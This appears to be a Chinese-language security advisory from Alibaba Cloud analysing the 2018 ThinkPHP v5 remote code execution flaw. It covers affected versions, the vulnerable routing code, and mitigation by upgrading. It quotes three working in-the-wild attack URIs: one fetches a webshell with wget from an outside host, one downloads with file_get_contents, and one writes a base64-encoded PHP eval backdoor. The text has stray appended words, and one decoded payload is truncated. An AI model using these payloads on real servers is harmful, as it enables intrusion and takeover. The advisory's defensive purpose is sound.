2018年12月10日,ThinkPHP v5系列發佈安全更新,修復了一處可致使遠程代碼執行的嚴重漏洞。阿里雲態勢感知已捕獲多起基於該漏洞的真實攻擊,並對該漏洞原理以及漏洞利用方式進行分析。如今,對於雲上未及時進行系統更新的用戶,阿里雲態勢感知已提供攻擊告警,WAF產品支持同步攔截,目前雲上客戶基本未受到影響。php
這次漏洞由ThinkPHP v5框架代碼問題引發,其覆蓋面廣,且可直接遠程執行任何代碼和命令。電子商務行業、金融服務行業、互聯網遊戲行業等網站使用該ThinkPHP框架比較多,須要格外關注。阿里雲是僅有少數的捕獲到該漏洞整個攻擊鏈的雲服務商。下面咱們對其漏洞背景,攻擊原理和行爲進行全面分析,並提供真實案列分析。web
漏洞分析thinkphp
因爲ThinkPHP v5框架對控制器名沒有進行足夠的安全檢測,致使在沒有開啓強制路由的狀況下,黑客構造特定的請求,可直接進行遠程的代碼執行,進而得到服務器權限。shell
漏洞影響的版本安全
ThinkPHP v5.0系列 < 5.0.23服務器
ThinkPHP v5.1系列 < 5.1.31app
漏洞原理分析框架
經過對比ThinkPHP官方發佈的漏洞修復說明,直接分析thinkphp解析路由調度的代碼 /thinkphp/library/think/Route.php函數
parseUrlPath函數調用path函數並解析了pathinfo中的路由信息,函數中url直接用/切分,沒有加任何過濾機制。測試
搜索pathinfo發現 //thinkphp/library/think/Request.php 定義了獲取URL的pathionfo函數
咱們能夠利用$_GET可控的值來進行命令注入。var_pathinfo的參數爲s,因此能夠直接構造命令注入的函數。
繼續分析路由調度的代碼app.php,經過'controller' 來執行控制器操做,實例化控制器,跟進controller方法
//thinkphp/library/think/Loader.php中,controller調用parseModuleAndClass方法,直接解析
漏洞復現:
咱們拿存在ThinkPHP v5遠程代碼執行漏洞的5.0.22版本進行復現測試。下圖是咱們在存在該漏洞的主機上執行ls命令,能夠拿到目錄下的全部文件詳情。
漏洞攻擊真實案例
截至2018年12月11日,阿里雲態勢感知監控到的數據顯示,黑客們利用該漏洞進行攻擊的方式有不少,目前主要是以webshell爲主,可能因爲曝光PoC時間過短,不少黑產(如挖礦)都還沒充分利用。對目前全部的webshell方式總結後,比較流行的有如下幾種:
1. 利用該漏洞遠程執行下載命令,經過wget遠程下載一個webshell後門,執行命令從而得到服務器權限。
其攻擊URI詳情以下:
"/admin.php?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget+-O+help.php+http%3a%2f%2ftzrj.host.smartgslb.com%2fhelp.php.txt "
經過執行wget命令:wget -O help.php tzrj.host.smartgslb.com/help.php.tx…,下載webshell。
下面是該webshell所具備的功能列表,以下圖:
2. 利用file_get_contents和file_put_contents函數,遠程下載webshell。
其攻擊的URI詳情以下:
"/?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('content.php',file_get_contents('jzy1115.host3v.vip'));"
該webshell所具有的功能詳細以下圖:
3. 利用file_put_contents函數 寫入一句話webshell,其攻擊的URI詳情以下:
"/admin.php?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('./vendor/autoclass.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWyczNjB2ZXJ5J107ZXZhbCgkcGFzcyk7Pz4='))"
該命令行包含的base64加密字符串解碼以下:
"<?php
該惡意代碼將被寫入到文件./vendor/autoclass.php中。
漏洞影響和攻擊趨勢
經過對網站信息數據的統計,咱們發現存在該漏洞的的網站佔比約10%左右。而從阿里雲態勢感知監控到的數據顯示,從2018-12-04開始至2018-12-11,被攻擊的網站數據暴增。以咱們和漏洞利用攻擊對抗的經驗來看,該漏洞的利用攻擊會出現更多變種,各個企業應儘快升級ThinkPHP的代碼框架至最新版本,避免本身的網站被攻破,服務器淪陷爲肉雞。
下面是被攻擊網站數量變化趨勢,可看出該漏洞被曝光後迅速被大規模自動化利用。
**安全建議
**
阿里雲安全專家提醒:ThinkPHP的v5.0.23和v5.1.31爲安全版本,建議你們儘快升級框架至最新版原本修復此漏洞。對於未及時升級的用戶請及時使用阿里雲態勢感知和WAF來抵禦攻擊,確保企業正常業務運行。